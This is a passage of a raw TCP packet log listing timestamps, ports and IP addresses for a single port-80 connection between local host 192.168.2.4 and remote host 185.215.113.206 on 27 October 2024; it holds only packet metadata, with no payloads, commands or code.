Oct 27, 2024 12:13:17.246658087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.246691942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.246727943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.246768951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.246789932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.246814013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.246865034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.246917009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.246947050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.246973991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.246992111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.247005939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.247031927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.247051001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.247092962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.247097015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.247136116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.247158051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.247176886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.247195005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.247221947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.247236967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.247283936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.247344017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.247373104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.247391939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.247395992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.247419119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.247446060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.247632027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.247648001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.247663021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.247682095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.247685909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.247699976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.247706890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.247751951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.247955084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248011112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.248013020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248030901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248048067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248053074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.248080969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.248101950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.248366117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248380899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248395920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248414040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248418093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.248460054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.248783112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248799086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248814106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248831987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248836040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.248852015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248857021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.248869896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248894930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.248894930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.248945951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.249424934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.249440908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.249455929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.249476910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.249488115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.249495029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.249515057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.249519110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.249561071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.291632891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.291711092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.291733980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.291856050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.291891098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.291934967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.291971922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.292037964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.292037964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.333233118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.333256006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.333271980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.333436966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.374780893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.374808073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.374818087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.374826908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375170946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375215054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.375220060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375258923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375289917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375363111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375394106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.375427008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.375433922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375473022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375499010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.375509024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375521898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.375545025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375566006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.375581026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375602961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.375616074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375637054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.375652075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375673056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.375685930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375708103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.375720978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375742912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.375763893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.375771046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.375818968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.376661062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.376713991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.376750946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.376786947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.376795053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.376795053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.376804113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.376827002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.376841068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.376863003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.376889944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.376899958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.376929998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.376936913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.376949072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.376971960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.376988888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.377010107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.377026081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.377084970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.377165079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.377218008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.377218962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.377257109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.377278090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.377293110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.377314091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.377330065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.377348900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.377365112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.377387047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.377403021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.377415895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.377440929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.377451897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.377475977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.377494097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.377513885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.377528906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.377566099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.378153086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.378187895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.378212929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.378222942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.378235102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.378259897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.378278971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.378295898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.378309011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.378331900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.378355026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.378366947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.378395081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.378403902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.378423929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.378439903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.378459930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.378474951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.378489971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.378520966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.379167080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.379203081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.379228115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.379240990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.379255056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.379291058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.409606934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.409678936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.409715891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.409750938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.409787893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.409818888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.409874916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.464679003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.464732885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.464770079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.464772940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.464808941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.464831114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.479284048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.479371071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.479404926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.479461908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.479464054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.479501009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.479526043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.479540110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.479556084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.479577065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.479589939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.479615927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.479629040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.479654074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.479664087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.479703903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.481498957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.481553078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.481560946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.481592894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.481612921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.481646061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.880798101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.880831957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.887939930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.887979031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.888008118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.888041973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.888070107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:18.673960924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:18.674141884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:18.779808044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:18.779989958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:18.785584927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:18.785636902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:18.785675049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:20.103375912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:20.103430033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:20.126310110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:20.131732941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:20.905229092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:20.905312061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:21.581696033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:21.587199926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:22.356642962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:22.356718063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:22.775043964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:22.780416012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.056976080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.056983948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.056989908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.057056904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.057079077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.057138920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.057152987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.057159901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.057171106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.057178020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.057207108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.057261944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.057262897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.057301044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.057351112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.057398081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.057401896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.057526112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.215425968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.215461969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.215466976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.215507030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.215513945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.215634108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.215640068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.215653896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.215694904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.215697050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.215799093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.215842009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.215862989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.215877056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.215926886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.216011047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216046095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216052055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216084003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.216104984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216126919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.216181040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216240883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.216270924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216279030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216372967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216378927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216394901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216406107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.216438055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.216443062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216463089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.216502905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.216691017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216743946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216746092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.216751099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216799021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.216835022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.216895103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.374804974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.374825001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.374831915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.374900103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.374963045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.374964952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.374972105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375029087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375036001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375046968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375055075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.375097036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.375154018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375164986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375171900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375176907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375184059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375205994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.375277042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.375401974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375416040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375422001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375483036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.375550985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375556946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375569105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375575066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375607014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.375623941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.375698090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375709057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375714064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375746965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375754118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375766039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.375777006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.375788927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.375823021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.376171112 CET	80	49730	185.215.113.206	192.168.2.4
